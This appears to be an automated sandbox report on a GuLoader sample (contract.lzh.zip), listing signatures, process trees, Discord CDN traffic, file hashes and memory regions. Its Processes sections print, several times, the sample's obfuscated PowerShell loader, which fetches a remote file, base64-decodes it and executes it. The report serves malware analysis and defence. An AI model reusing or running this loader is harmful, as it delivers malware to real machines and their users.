Analysis Overview
SHA256
c6aa37e5f54123d3e585324326a078ea159031c82f827574878ba1a61c3e0081
Threat Level: Known bad
The file contract.lzh.zip was found to be: Known bad.
Malicious Activity Summary
Guloader,Cloudeye
Blocklisted process makes network request
Program crash
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2023-08-07 10:05
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2023-08-07 10:05
Reported
2023-08-07 10:08
Platform
win7-20230712-en
Max time kernel
149s
Max time network
153s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WScript.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\contract.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Meth239 ([String]$Elecntensiv){For($Elec=1; $Elec -lt $Elecntensiv.Length-1; $Elec+=(1+1)){$Strewing55=$Elecntensiv.Substring($Elec, 1);$Cylleniusg=$Cylleniusg+$Strewing55}$Cylleniusg;}$Mongo=Meth239 'hhLtdtSpFsE:B/ /OcSdFnK.RdPiAsNcGoBrad aAp p .FcDoRmA/CaBt tgaTcJhWm eNn tDs /P1R0O7S5P6 4Q1M3 1K9C5G2 4U9P2S5P4A4R2B/F1C1Z3I7 8 4R0N7H9G5M1P9b4J4 9i9S1T0I2S/NFToDd bMrIeOmPsK.SxItKpO ';$Cylleniusg01=Meth239 ' i eCxS ';$Straf175 = Meth239 'S\TsWyFsEw oTwE6a4R\DWBiSn dHo wBsCPUoLwLeFrTSMhTeIlOlL\RvI1 . 0R\SpDoSw eFrHsFhMeSl lL.Ce xEeF ';&($Cylleniusg01) (Meth239 'T$PMFeKlOoVdTrGaCmS2A=b$EeBn vD:CwCiZnEdCiPr ') ;&($Cylleniusg01) (Meth239 ' $MSDtTrSaIfU1V7M5A=T$CM eDlCoAdIrMaSmr2K+V$eS tbr aEfI1E7w5S ') ;&($Cylleniusg01) (Meth239 ' $IPUaOnNsTySaTePr oMp =F A(B(DgHwBmRiJ SwKiKn 3g2P_CpKrOo cTeUsAsM L- FS CPmrAoVcSeAsSsDISdU=V$C{BP IEDC} ) .CCKoEmEmSaNnSdDLbiMnAeS)F d- sUpplEi tI B[BcYh aMrU]U3V4D ');&($Cylleniusg01) (Meth239 'R$HJ o dUiBeUpIrBeAsTtH K=J V$SP aTn sSyAa e rhoApB[O$ PSaKnTsSyMaIeArHoBp .UcBoDusnBti-H2D]U ');&($Cylleniusg01) (Meth239 ' $hDdeFlBa gC1B9 7B=P(HTCe s tM-PPRaAt hT B$OSPt r aKfF1 7R5 )s A-SA nMdc B(a[LICn tUPwtAr ] :S:VsLiezEe -Te qM E8I)G ') ;if ($Delag197) {.$Straf175 $Jodieprest;} else {;$Cylleniusg00=Meth239 ' SAtBaJr tp-GBKiAtSsWT rLaMnMsUfPeSrN -LSLoFu r c eT S$PMFoSn g oI n- DReCs t iAnPaAtIi oFnP L$ MEePlMoBd r aUmU2H ';&($Cylleniusg01) (Meth239 ' $EMhePlAo dSrMaOm 2V=M$SeBnRv :AaAp pDdOa tHaL ') ;&($Cylleniusg01) (Meth239 'uI mGpPo rNtN-RMAo d u lKeA IBFiStDsATRr aDnHsPfaeSrB ') ;$Melodram2=$Melodram2+'\Fablesknsk.fin';while (-not $Trans) {&($Cylleniusg01) (Meth239 'H$ TSrKaInRsF=R(STPeMs tH-EPPaPt hF H$ MAeVlOoAd rIaMmA2s)M ') ;&($Cylleniusg01) $Cylleniusg00;&($Cylleniusg01) (Meth239 'PSStWa rPtT- SHlIeMeDpR 5b ');}&($Cylleniusg01) (Meth239 'B$ MTe t hB2 3 =Y pGVeFtS-SCFo n t eBnTtB L$rMCe l oFdRrGaPmD2S ');&($Cylleniusg01) (Meth239 'G$RS uSr vBeSiSlfiPn gN K=B C[MS y sKt eSmF.KCFoPnDvBeRrOt ]P:G:SFUrUo mtBKaks e 6 4US tWrAiGnMgU(D$MM eBtMh 2A3G)M ');&($Cylleniusg01) (Meth239 'U$SCeySl l e nDiLu s gs2 A=S V[ STytsUtFeJmE.BTfeGxHtP.CEBn c oGd iDnFgU]T:M:KAKS CEIKIU.BGBe toSSt rCiKnOg (L$BSOuSrHvEeTisl iSnNgS)U ');&($Cylleniusg01) (Meth239 'P$OFcaSk tVoB=B$LCSyBlSlSeRnCiBuSssgP2 .TsLu bHs tDrIiSnLgR( 2F7M7F6U3N3F,B1F9H7F8 6S)M ');&($Cylleniusg01) $Fakto;}"
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Meth239 ([String]$Elecntensiv){For($Elec=1; $Elec -lt $Elecntensiv.Length-1; $Elec+=(1+1)){$Strewing55=$Elecntensiv.Substring($Elec, 1);$Cylleniusg=$Cylleniusg+$Strewing55}$Cylleniusg;}$Mongo=Meth239 'hhLtdtSpFsE:B/ /OcSdFnK.RdPiAsNcGoBrad aAp p .FcDoRmA/CaBt tgaTcJhWm eNn tDs /P1R0O7S5P6 4Q1M3 1K9C5G2 4U9P2S5P4A4R2B/F1C1Z3I7 8 4R0N7H9G5M1P9b4J4 9i9S1T0I2S/NFToDd bMrIeOmPsK.SxItKpO ';$Cylleniusg01=Meth239 ' i eCxS ';$Straf175 = Meth239 'S\TsWyFsEw oTwE6a4R\DWBiSn dHo wBsCPUoLwLeFrTSMhTeIlOlL\RvI1 . 0R\SpDoSw eFrHsFhMeSl lL.Ce xEeF ';&($Cylleniusg01) (Meth239 'T$PMFeKlOoVdTrGaCmS2A=b$EeBn vD:CwCiZnEdCiPr ') ;&($Cylleniusg01) (Meth239 ' $MSDtTrSaIfU1V7M5A=T$CM eDlCoAdIrMaSmr2K+V$eS tbr aEfI1E7w5S ') ;&($Cylleniusg01) (Meth239 ' $IPUaOnNsTySaTePr oMp =F A(B(DgHwBmRiJ SwKiKn 3g2P_CpKrOo cTeUsAsM L- FS CPmrAoVcSeAsSsDISdU=V$C{BP IEDC} ) .CCKoEmEmSaNnSdDLbiMnAeS)F d- sUpplEi tI B[BcYh aMrU]U3V4D ');&($Cylleniusg01) (Meth239 'R$HJ o dUiBeUpIrBeAsTtH K=J V$SP aTn sSyAa e rhoApB[O$ PSaKnTsSyMaIeArHoBp .UcBoDusnBti-H2D]U ');&($Cylleniusg01) (Meth239 ' $hDdeFlBa gC1B9 7B=P(HTCe s tM-PPRaAt hT B$OSPt r aKfF1 7R5 )s A-SA nMdc B(a[LICn tUPwtAr ] :S:VsLiezEe -Te qM E8I)G ') ;if ($Delag197) {.$Straf175 $Jodieprest;} else {;$Cylleniusg00=Meth239 ' SAtBaJr tp-GBKiAtSsWT rLaMnMsUfPeSrN -LSLoFu r c eT S$PMFoSn g oI n- DReCs t iAnPaAtIi oFnP L$ MEePlMoBd r aUmU2H ';&($Cylleniusg01) (Meth239 ' $EMhePlAo dSrMaOm 2V=M$SeBnRv :AaAp pDdOa tHaL ') ;&($Cylleniusg01) (Meth239 'uI mGpPo rNtN-RMAo d u lKeA IBFiStDsATRr aDnHsPfaeSrB ') ;$Melodram2=$Melodram2+'\Fablesknsk.fin';while (-not $Trans) {&($Cylleniusg01) (Meth239 'H$ TSrKaInRsF=R(STPeMs tH-EPPaPt hF H$ MAeVlOoAd rIaMmA2s)M ') ;&($Cylleniusg01) $Cylleniusg00;&($Cylleniusg01) (Meth239 'PSStWa rPtT- SHlIeMeDpR 5b ');}&($Cylleniusg01) (Meth239 'B$ MTe t hB2 3 =Y pGVeFtS-SCFo n t eBnTtB L$rMCe l oFdRrGaPmD2S ');&($Cylleniusg01) (Meth239 'G$RS uSr vBeSiSlfiPn gN K=B C[MS y sKt eSmF.KCFoPnDvBeRrOt ]P:G:SFUrUo mtBKaks e 6 4US tWrAiGnMgU(D$MM eBtMh 2A3G)M ');&($Cylleniusg01) (Meth239 'U$SCeySl l e nDiLu s gs2 A=S V[ STytsUtFeJmE.BTfeGxHtP.CEBn c oGd iDnFgU]T:M:KAKS CEIKIU.BGBe toSSt rCiKnOg (L$BSOuSrHvEeTisl iSnNgS)U ');&($Cylleniusg01) (Meth239 'P$OFcaSk tVoB=B$LCSyBlSlSeRnCiBuSssgP2 .TsLu bHs tDrIiSnLgR( 2F7M7F6U3N3F,B1F9H7F8 6S)M ');&($Cylleniusg01) $Fakto;}"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | cdn.discordapp.com | udp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
Files
C:\Users\Admin\AppData\Local\Temp\Cab9A00.tmp
| MD5 | 3ac860860707baaf32469fa7cc7c0192 |
| SHA1 | c33c2acdaba0e6fa41fd2f00f186804722477639 |
| SHA256 | d015145d551ecd14916270efad773bbc9fd57fad2228d2c24559f696c961d904 |
| SHA512 | d62ad2408c969a95550fb87efda50f988770ba5e39972041bf85924275baf156b8bec309ecc6409e5acdd37ec175dea40eff921ab58933b5b5b5d35a6147567c |
memory/2728-74-0x000000001B2D0000-0x000000001B5B2000-memory.dmp
memory/2728-75-0x0000000002320000-0x0000000002328000-memory.dmp
memory/2728-76-0x000007FEF5360000-0x000007FEF5CFD000-memory.dmp
memory/2728-77-0x0000000002960000-0x00000000029E0000-memory.dmp
memory/2728-78-0x0000000002960000-0x00000000029E0000-memory.dmp
memory/2728-79-0x000007FEF5360000-0x000007FEF5CFD000-memory.dmp
memory/2728-80-0x0000000002960000-0x00000000029E0000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RHSGXVAB0Q1UZKV123EQ.temp
| MD5 | b2e1a778f952c17b633fff13e8bdac11 |
| SHA1 | 04061ff0304cadda0a07d9afe624b9d3922dbacc |
| SHA256 | 6365fc0f2beab0aeb15d37cadd71fdf0abac00a3dd9092323cb2dfb328f1ff1b |
| SHA512 | 89c4afeb7dad3ac997b9c781d235979ce80ef3e499db4a55dcd82acf5d6949e0ec2f14c0a229854792efa559e7e770dd205c1a041cab95d7ec0fcc6bb6210667 |
memory/2324-83-0x0000000074460000-0x0000000074A0B000-memory.dmp
memory/2324-84-0x0000000074460000-0x0000000074A0B000-memory.dmp
memory/2324-86-0x00000000023A0000-0x00000000023E0000-memory.dmp
memory/2324-85-0x00000000023A0000-0x00000000023E0000-memory.dmp
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
| MD5 | c9dc8bdaddbe6486d834c7fe0b42434a |
| SHA1 | d4b6f6a7a3f7025df77a9af55e2a2251434c3741 |
| SHA256 | 581bce12e578b2f9a4a2d0f1109d5174c9dae4bcd5278c59ac801d619dc91589 |
| SHA512 | 8916995e5ce6663a3c52ca75de298debdb3bb70a3dce40d3a978056d4879c36a78d5024c480e3c4840fb9c48fe0a9fcae7443387340ba35a24fb5a5a8127b941 |
C:\Users\Admin\AppData\Local\Temp\TarB617.tmp
| MD5 | 4ff65ad929cd9a367680e0e5b1c08166 |
| SHA1 | c0af0d4396bd1f15c45f39d3b849ba444233b3a2 |
| SHA256 | c8733c93cc5aaf5ca206d06af22ee8dbdec764fb5085019a6a9181feb9dfdee6 |
| SHA512 | f530dc0d024a5a3b8903ffaaa41b608a5ccdd6da4ba1949f2c2e55a9fca475fec5c8d2119b5763cabe7ef1c3788fb9dcac621869db51d65b1d83cfe404fb4c27 |
memory/2728-97-0x000007FEF5360000-0x000007FEF5CFD000-memory.dmp
memory/2728-98-0x0000000002960000-0x00000000029E0000-memory.dmp
memory/2728-100-0x0000000002960000-0x00000000029E0000-memory.dmp
memory/2728-99-0x0000000002960000-0x00000000029E0000-memory.dmp
memory/2728-101-0x0000000002960000-0x00000000029E0000-memory.dmp
memory/2324-102-0x0000000074460000-0x0000000074A0B000-memory.dmp
memory/2324-103-0x00000000023A0000-0x00000000023E0000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2023-08-07 10:05
Reported
2023-08-07 10:08
Platform
win10v2004-20230703-en
Max time kernel
142s
Max time network
153s
Command Line
Signatures
Guloader,Cloudeye
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WScript.exe | N/A |
Enumerates physical storage devices
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4548 wrote to memory of 1152 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4548 wrote to memory of 1152 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1152 wrote to memory of 1228 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe |
| PID 1152 wrote to memory of 1228 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe |
| PID 1152 wrote to memory of 1228 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\contract.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Meth239 ([String]$Elecntensiv){For($Elec=1; $Elec -lt $Elecntensiv.Length-1; $Elec+=(1+1)){$Strewing55=$Elecntensiv.Substring($Elec, 1);$Cylleniusg=$Cylleniusg+$Strewing55}$Cylleniusg;}$Mongo=Meth239 'hhLtdtSpFsE:B/ /OcSdFnK.RdPiAsNcGoBrad aAp p .FcDoRmA/CaBt tgaTcJhWm eNn tDs /P1R0O7S5P6 4Q1M3 1K9C5G2 4U9P2S5P4A4R2B/F1C1Z3I7 8 4R0N7H9G5M1P9b4J4 9i9S1T0I2S/NFToDd bMrIeOmPsK.SxItKpO ';$Cylleniusg01=Meth239 ' i eCxS ';$Straf175 = Meth239 'S\TsWyFsEw oTwE6a4R\DWBiSn dHo wBsCPUoLwLeFrTSMhTeIlOlL\RvI1 . 0R\SpDoSw eFrHsFhMeSl lL.Ce xEeF ';&($Cylleniusg01) (Meth239 'T$PMFeKlOoVdTrGaCmS2A=b$EeBn vD:CwCiZnEdCiPr ') ;&($Cylleniusg01) (Meth239 ' $MSDtTrSaIfU1V7M5A=T$CM eDlCoAdIrMaSmr2K+V$eS tbr aEfI1E7w5S ') ;&($Cylleniusg01) (Meth239 ' $IPUaOnNsTySaTePr oMp =F A(B(DgHwBmRiJ SwKiKn 3g2P_CpKrOo cTeUsAsM L- FS CPmrAoVcSeAsSsDISdU=V$C{BP IEDC} ) .CCKoEmEmSaNnSdDLbiMnAeS)F d- sUpplEi tI B[BcYh aMrU]U3V4D ');&($Cylleniusg01) (Meth239 'R$HJ o dUiBeUpIrBeAsTtH K=J V$SP aTn sSyAa e rhoApB[O$ PSaKnTsSyMaIeArHoBp .UcBoDusnBti-H2D]U ');&($Cylleniusg01) (Meth239 ' $hDdeFlBa gC1B9 7B=P(HTCe s tM-PPRaAt hT B$OSPt r aKfF1 7R5 )s A-SA nMdc B(a[LICn tUPwtAr ] :S:VsLiezEe -Te qM E8I)G ') ;if ($Delag197) {.$Straf175 $Jodieprest;} else {;$Cylleniusg00=Meth239 ' SAtBaJr tp-GBKiAtSsWT rLaMnMsUfPeSrN -LSLoFu r c eT S$PMFoSn g oI n- DReCs t iAnPaAtIi oFnP L$ MEePlMoBd r aUmU2H ';&($Cylleniusg01) (Meth239 ' $EMhePlAo dSrMaOm 2V=M$SeBnRv :AaAp pDdOa tHaL ') ;&($Cylleniusg01) (Meth239 'uI mGpPo rNtN-RMAo d u lKeA IBFiStDsATRr aDnHsPfaeSrB ') ;$Melodram2=$Melodram2+'\Fablesknsk.fin';while (-not $Trans) {&($Cylleniusg01) (Meth239 'H$ TSrKaInRsF=R(STPeMs tH-EPPaPt hF H$ MAeVlOoAd rIaMmA2s)M ') ;&($Cylleniusg01) $Cylleniusg00;&($Cylleniusg01) (Meth239 'PSStWa rPtT- SHlIeMeDpR 5b ');}&($Cylleniusg01) (Meth239 'B$ MTe t hB2 3 =Y pGVeFtS-SCFo n t eBnTtB L$rMCe l oFdRrGaPmD2S ');&($Cylleniusg01) (Meth239 'G$RS uSr vBeSiSlfiPn gN K=B C[MS y sKt eSmF.KCFoPnDvBeRrOt ]P:G:SFUrUo mtBKaks e 6 4US tWrAiGnMgU(D$MM eBtMh 2A3G)M ');&($Cylleniusg01) (Meth239 'U$SCeySl l e nDiLu s gs2 A=S V[ STytsUtFeJmE.BTfeGxHtP.CEBn c oGd iDnFgU]T:M:KAKS CEIKIU.BGBe toSSt rCiKnOg (L$BSOuSrHvEeTisl iSnNgS)U ');&($Cylleniusg01) (Meth239 'P$OFcaSk tVoB=B$LCSyBlSlSeRnCiBuSssgP2 .TsLu bHs tDrIiSnLgR( 2F7M7F6U3N3F,B1F9H7F8 6S)M ');&($Cylleniusg01) $Fakto;}"
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Meth239 ([String]$Elecntensiv){For($Elec=1; $Elec -lt $Elecntensiv.Length-1; $Elec+=(1+1)){$Strewing55=$Elecntensiv.Substring($Elec, 1);$Cylleniusg=$Cylleniusg+$Strewing55}$Cylleniusg;}$Mongo=Meth239 'hhLtdtSpFsE:B/ /OcSdFnK.RdPiAsNcGoBrad aAp p .FcDoRmA/CaBt tgaTcJhWm eNn tDs /P1R0O7S5P6 4Q1M3 1K9C5G2 4U9P2S5P4A4R2B/F1C1Z3I7 8 4R0N7H9G5M1P9b4J4 9i9S1T0I2S/NFToDd bMrIeOmPsK.SxItKpO ';$Cylleniusg01=Meth239 ' i eCxS ';$Straf175 = Meth239 'S\TsWyFsEw oTwE6a4R\DWBiSn dHo wBsCPUoLwLeFrTSMhTeIlOlL\RvI1 . 0R\SpDoSw eFrHsFhMeSl lL.Ce xEeF ';&($Cylleniusg01) (Meth239 'T$PMFeKlOoVdTrGaCmS2A=b$EeBn vD:CwCiZnEdCiPr ') ;&($Cylleniusg01) (Meth239 ' $MSDtTrSaIfU1V7M5A=T$CM eDlCoAdIrMaSmr2K+V$eS tbr aEfI1E7w5S ') ;&($Cylleniusg01) (Meth239 ' $IPUaOnNsTySaTePr oMp =F A(B(DgHwBmRiJ SwKiKn 3g2P_CpKrOo cTeUsAsM L- FS CPmrAoVcSeAsSsDISdU=V$C{BP IEDC} ) .CCKoEmEmSaNnSdDLbiMnAeS)F d- sUpplEi tI B[BcYh aMrU]U3V4D ');&($Cylleniusg01) (Meth239 'R$HJ o dUiBeUpIrBeAsTtH K=J V$SP aTn sSyAa e rhoApB[O$ PSaKnTsSyMaIeArHoBp .UcBoDusnBti-H2D]U ');&($Cylleniusg01) (Meth239 ' $hDdeFlBa gC1B9 7B=P(HTCe s tM-PPRaAt hT B$OSPt r aKfF1 7R5 )s A-SA nMdc B(a[LICn tUPwtAr ] :S:VsLiezEe -Te qM E8I)G ') ;if ($Delag197) {.$Straf175 $Jodieprest;} else {;$Cylleniusg00=Meth239 ' SAtBaJr tp-GBKiAtSsWT rLaMnMsUfPeSrN -LSLoFu r c eT S$PMFoSn g oI n- DReCs t iAnPaAtIi oFnP L$ MEePlMoBd r aUmU2H ';&($Cylleniusg01) (Meth239 ' $EMhePlAo dSrMaOm 2V=M$SeBnRv :AaAp pDdOa tHaL ') ;&($Cylleniusg01) (Meth239 'uI mGpPo rNtN-RMAo d u lKeA IBFiStDsATRr aDnHsPfaeSrB ') ;$Melodram2=$Melodram2+'\Fablesknsk.fin';while (-not $Trans) {&($Cylleniusg01) (Meth239 'H$ TSrKaInRsF=R(STPeMs tH-EPPaPt hF H$ MAeVlOoAd rIaMmA2s)M ') ;&($Cylleniusg01) $Cylleniusg00;&($Cylleniusg01) (Meth239 'PSStWa rPtT- SHlIeMeDpR 5b ');}&($Cylleniusg01) (Meth239 'B$ MTe t hB2 3 =Y pGVeFtS-SCFo n t eBnTtB L$rMCe l oFdRrGaPmD2S ');&($Cylleniusg01) (Meth239 'G$RS uSr vBeSiSlfiPn gN K=B C[MS y sKt eSmF.KCFoPnDvBeRrOt ]P:G:SFUrUo mtBKaks e 6 4US tWrAiGnMgU(D$MM eBtMh 2A3G)M ');&($Cylleniusg01) (Meth239 'U$SCeySl l e nDiLu s gs2 A=S V[ STytsUtFeJmE.BTfeGxHtP.CEBn c oGd iDnFgU]T:M:KAKS CEIKIU.BGBe toSSt rCiKnOg (L$BSOuSrHvEeTisl iSnNgS)U ');&($Cylleniusg01) (Meth239 'P$OFcaSk tVoB=B$LCSyBlSlSeRnCiBuSssgP2 .TsLu bHs tDrIiSnLgR( 2F7M7F6U3N3F,B1F9H7F8 6S)M ');&($Cylleniusg01) $Fakto;}"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 1228 -ip 1228
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1228 -s 2600
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 208.194.73.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 71.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 2.136.104.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 146.78.124.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.126.166.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | cdn.discordapp.com | udp |
| US | 162.159.135.233:443 | cdn.discordapp.com | tcp |
| US | 8.8.8.8:53 | 233.135.159.162.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 203.151.224.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 8.173.189.20.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gplydkeo.1eu.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1152-142-0x000001735BA40000-0x000001735BA62000-memory.dmp
memory/1152-147-0x00007FFAFEAE0000-0x00007FFAFF5A1000-memory.dmp
memory/1152-149-0x000001735BAB0000-0x000001735BAC0000-memory.dmp
memory/1152-148-0x000001735BAB0000-0x000001735BAC0000-memory.dmp
memory/1228-150-0x00000000746D0000-0x0000000074E80000-memory.dmp
memory/1228-151-0x0000000004F90000-0x0000000004FC6000-memory.dmp
memory/1228-152-0x0000000005130000-0x0000000005140000-memory.dmp
memory/1228-153-0x0000000005130000-0x0000000005140000-memory.dmp
memory/1228-154-0x0000000005770000-0x0000000005D98000-memory.dmp
memory/1228-155-0x0000000005550000-0x0000000005572000-memory.dmp
memory/1228-156-0x00000000056F0000-0x0000000005756000-memory.dmp
memory/1228-157-0x0000000005E10000-0x0000000005E76000-memory.dmp
memory/1228-167-0x0000000006540000-0x000000000655E000-memory.dmp
memory/1228-168-0x0000000005130000-0x0000000005140000-memory.dmp
memory/1228-169-0x0000000007D80000-0x00000000083FA000-memory.dmp
memory/1228-170-0x0000000006AE0000-0x0000000006AFA000-memory.dmp
memory/1152-171-0x00007FFAFEAE0000-0x00007FFAFF5A1000-memory.dmp
memory/1228-172-0x00000000077E0000-0x0000000007876000-memory.dmp
memory/1228-173-0x0000000007700000-0x0000000007722000-memory.dmp
memory/1228-175-0x00000000089B0000-0x0000000008F54000-memory.dmp
memory/1152-174-0x000001735BAB0000-0x000001735BAC0000-memory.dmp
memory/1152-176-0x000001735BAB0000-0x000001735BAC0000-memory.dmp
memory/1152-177-0x000001735BAB0000-0x000001735BAC0000-memory.dmp
memory/1228-178-0x0000000007B80000-0x0000000007B94000-memory.dmp
memory/1228-179-0x00000000746D0000-0x0000000074E80000-memory.dmp
memory/1228-180-0x0000000005130000-0x0000000005140000-memory.dmp
memory/1228-181-0x0000000005130000-0x0000000005140000-memory.dmp
memory/1228-183-0x0000000007BC0000-0x0000000007BC1000-memory.dmp
memory/1228-184-0x0000000008F60000-0x000000000C209000-memory.dmp
memory/1228-185-0x0000000008F60000-0x000000000C209000-memory.dmp
memory/1228-186-0x00000000746D0000-0x0000000074E80000-memory.dmp
memory/1228-187-0x0000000008F60000-0x000000000C209000-memory.dmp
memory/1152-190-0x00007FFAFEAE0000-0x00007FFAFF5A1000-memory.dmp